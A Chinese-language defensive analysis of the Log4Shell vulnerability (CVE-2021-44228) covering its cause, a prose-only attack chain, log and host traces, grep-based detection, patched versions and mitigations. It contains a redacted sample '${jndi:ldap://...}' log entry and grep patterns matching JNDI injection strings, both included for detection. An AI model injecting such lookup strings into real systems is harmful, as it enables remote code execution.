漏洞/实验概述

CVE-2021-44228(Log4Shell)是 Apache Log4j2 在解析日志消息时对 ${...} 查找表达式处理不当导致的 JNDI 注入漏洞。攻击者只需让一段可控字符串进入被记录的日志消息,就可能触发对外部 JNDI 服务的查询;在特定 JDK 版本与依赖条件下,这条查询链路最终可以走到远程代码执行。

项目内容
漏洞编号CVE-2021-44228
受影响组件Apache Log4j2(log4j-core)
受影响版本2.0-beta9 至 2.14.1
公开披露2021 年 12 月
CVSS 3.110.0(Critical)
利用前提可控输入被写入日志 + 可出站访问 JNDI 服务(或存在本地 gadget)
公开内容边界本文只讨论机制、痕迹与防御,不提供完整 payload 或利用脚本

需要强调的一点是:漏洞存在于日志组件本身,而不是某个具体业务。只要应用把用户可控内容交给 Log4j2 记录,风险就随日志语句扩散到大量入口,例如 HTTP 头、URL 参数、表单字段、聊天消息和第三方回调内容。

漏洞成因 / 原理

消息查找(Message Lookup)机制

Log4j2 允许在日志文本中嵌入 ${prefix:key} 形式的查找表达式,在输出日志前进行求值。例如 ${java:version} 会被替换为当前 JVM 版本。这个设计本意是让日志更灵活,但它把“日志内容”变成了会被解释执行的表达式。

Log4j2 默认注册了多种 lookup,其中 jndi lookup 会把表达式内容交给 Java 的 JNDI(Java Naming and Directory Interface)接口处理。也就是说,日志里出现一段 JNDI 地址,Log4j2 就会主动发起一次目录服务查询。

从日志文本到 JNDI 查询

在受影响版本中,消息查找默认开启,且 jndi lookup 未被限制。攻击者控制的字符串一旦被记录,就会经历如下过程:

  1. 业务代码调用 logger.info(...) 等方法,把包含可控内容的字符串写入日志;
  2. Log4j2 对该消息做 lookup 替换,识别 ${...} 表达式;
  3. 若表达式前缀为 jndi,Log4j2 调用 JNDI 接口解析其中的地址;
  4. JNDI 客户端按照地址协议连接外部 LDAP/RMI 等服务,并取回命名引用(Reference);
  5. 引用中的工厂类信息被 JVM 用于加载与实例化对象。

触发条件可以归纳为四点:

  • 组件条件:classpath 中存在受影响版本的 log4j-core;
  • 数据条件:攻击者可控字符串进入了日志消息或参数;
  • 解析条件:消息查找未被关闭(受影响版本的默认行为);
  • 网络条件:应用主机能出站访问攻击者控制的 LDAP/RMI 服务,或本地 classpath 存在可利用的 gadget。

为什么能走到代码执行

JNDI 的 LDAP 提供者支持返回 Reference,其中可携带 javaClassName、javaFactory 与 javaCodeBase 等属性。早期 JDK 允许从 javaCodeBase 指定的远程地址加载工厂类,JVM 下载并实例化后即执行攻击者提供的字节码。

Oracle 在多个 JDK 更新中收紧了远程 codebase 加载:RMI 的 com.sun.jndi.rmi.object.trustURLCodebase 在 8u121、7u131、6u141 起默认改为 false;LDAP 的 com.sun.jndi.ldap.object.trustURLCodebase 在 8u191、7u201、6u211、11.0.1 起默认改为 false。远程类加载因此被默认阻断。但这并不等于漏洞消失:攻击者可以改为返回一个本地 classpath 中已存在的工厂类,借助其构造过程或 setter 调用间接触发代码执行。典型例子是 Tomcat 中的 org.apache.naming.factory.BeanFactory,它能按引用里的属性实例化指定 Bean 并调用 setter;当环境同时存在表达式解析能力时,风险进一步放大。是否成功取决于目标 classpath 上是否存在可用 gadget,这也是同一漏洞在不同应用中表现差异很大的原因。

绕过与混淆

由于 lookup 支持嵌套与大小写转换,攻击者可以对关键字做拼接、大小写变换或编码,使简单的字符串特征匹配失效。WAF 与日志检测因此不能只依赖单一路径的字面量规则,还需要覆盖 URL 编码、Unicode 转义、多层嵌套等变形形式。

攻击链路分析

以下仅做文字化流程说明,省略任何可直接使用的外部地址、参数与构造细节。

  1. 寻找可控入口:攻击者枚举会被应用记录到日志的字段,例如 User-Agent、X-Forwarded-For、自定义业务头、搜索关键字、登录失败提示等。
  2. 植入查找表达式:把一段 JNDI 查找表达式放入上述字段。表达式在传输过程中可能经过编码或分段混淆,以绕过边界设备。
  3. 触发日志写入:业务正常处理请求并记录日志,Log4j2 在输出阶段完成表达式求值。
  4. 外连目录服务:应用主机向攻击者控制的 LDAP/RMI 服务发起连接,攻击者由此确认漏洞可利用,并可获取来源 IP 等信息。
  5. 返回命名引用:目录服务返回带有工厂类与代码库信息的引用,或返回一个指向本地已有类的引用。
  6. 加载与实例化:JVM 按引用加载工厂类并实例化。旧 JDK 且允许远程 codebase 时可直接执行远程字节码;新 JDK 下则依赖本地 gadget 链完成间接执行。
  7. 后利用:获得执行能力后,攻击者通常会先做身份与网络可达性探测,再部署持久化或横向移动。此阶段的行为已经属于常规主机应急响应范畴。

整条链路的关键并不在“日志里写了什么”,而在于日志组件把数据当成了可解释的表达式。修复思路也应围绕这一点展开,而不是只拦截某个特定字符串。

攻击痕迹与日志特征

Web 与应用日志

被记录的请求头、URL 或参数中会出现 jndi 相关表达式。实际日志里可能是明文,也可能是 URL 编码或嵌套变形,因此检索时要同时覆盖原文与编码形态。

203.0.113.10 - - [10/Dec/2021:09:14:22 +0800] "GET /api/login HTTP/1.1" 200 512 "-" "curl/7.79.1 ${jndi:ldap://<redacted-host>/<redacted-path>}"

上例中的地址与路径已脱敏,仅用于说明日志字段的形态,不构成可用输入。

应用侧还可能出现 Log4j2 自身的错误日志,例如 JNDI 查找失败、无法连接目录服务、类加载异常等。这些异常往往出现在漏洞探测阶段,因为攻击者会先验证外连是否成功。

网络与主机痕迹

观察点典型特征
DNS 查询应用主机向陌生域名发起解析,子域随机、长度异常,可能对应带外验证
出站连接Java 进程连接非预期的 389/636(LDAP)、1099(RMI)等端口
进程行为Java 进程派生 sh、bash、cmd.exe、powershell 等子进程
文件行为临时目录出现新下载的 class/jar 文件,或异常脚本文件
日志组件JndiLookup 相关报错、类加载失败、连接超时集中出现
EDR 遥测Web 容器进程发起的外联与子进程创建,通常不符合基线

快速排查命令

以下命令用于在 Nginx 访问日志中做初步筛查,属于防御性检索,不包含任何利用代码。

# 明文与常见协议关键字
grep -Ei 'jndi:(ldap|rmi|dns|iiop|nis|corba)' /var/log/nginx/access.log

# URL 编码后的形态(%24%7B 对应 ${)
grep -Ei '%24%7B.*jndi' /var/log/nginx/access.log

# 统计可疑请求的来源与时间分布
grep -Ei 'jndi:' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head

生产环境还应结合 DNS 日志、防火墙出站记录与主机 EDR 做交叉验证。单看 Web 日志容易漏掉经过多层解码的变形输入。

缓解、检测与防御方案

版本修复

版本说明
2.15.0限制 JNDI 远程类加载,但随后发现 CVE-2021-45046,仍不完整
2.16.0移除消息 lookup 中的 JNDI 支持,默认禁用 JNDI,是重要节点
2.17.0修复 CVE-2021-45105(自引用 lookup 导致的拒绝服务)
2.17.1修复 CVE-2021-44832(JDBC Appender 相关风险),Java 8 环境建议基线
2.12.2 / 2.3.2分别对应 Java 7 / Java 6 分支的修复版本

升级时不能只看 log4j-api,必须确认 log4j-core 的实际版本与打包产物中是否存在被遮蔽(shaded)的旧版本类。大型应用常因依赖传递或 fat jar 内嵌而残留旧组件。

临时缓解

在无法立即升级时,可采用以下手段降低风险,但它们只是过渡措施:

# log4j2 配置或启动参数(适用于 2.10.0 及以上)
log4j2.formatMsgNoLookups=true

也可以从 log4j-core 包中移除 JndiLookup 类,使 jndi 查找不可用:

zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

需要注意:修改 jar 属于应急手段,后续升级或重新打包会被覆盖,必须纳入变更管理并有回归验证。

网络与架构层面的防御

  • 限制出站:应用服务器不应无条件访问互联网的 LDAP/RMI 端口,按业务需要建立白名单;
  • JDK 基线:使用已默认关闭远程 codebase 加载的 JDK 版本,并保持补丁更新;
  • WAF 规则:覆盖 jndi 关键字的编码、嵌套与大小写变形,但不能把 WAF 当作唯一防线;
  • 日志脱敏:对进入日志的用户输入做结构化处理,避免整段原始请求头被直接记录;
  • 依赖治理:建立 SBOM 与依赖扫描,持续识别内嵌的旧版 Log4j2。

检测规则思路

检测应同时覆盖“输入侧”和“行为侧”:

  1. 输入侧:Web 日志、网关日志中出现 JNDI 关键字或其编码形态;
  2. 行为侧:Java 进程非预期外联目录服务、派生 shell、临时目录出现新 class/jar;
  3. 关联侧:同一来源 IP 先出现可疑输入,随后目标主机出现外联或子进程,应按事件链升级处置。

只命中输入侧关键字会产生较多误报,建议与出站连接、DNS 查询和进程行为做关联分析后再定性。

实验声明:本文章所有相关实验,均在本人拥有完全授权的自建隔离靶场中完成,仅用于网络安全技术学习、防御方案研究。未经授权对任何信息系统进行测试、攻击属于违法行为。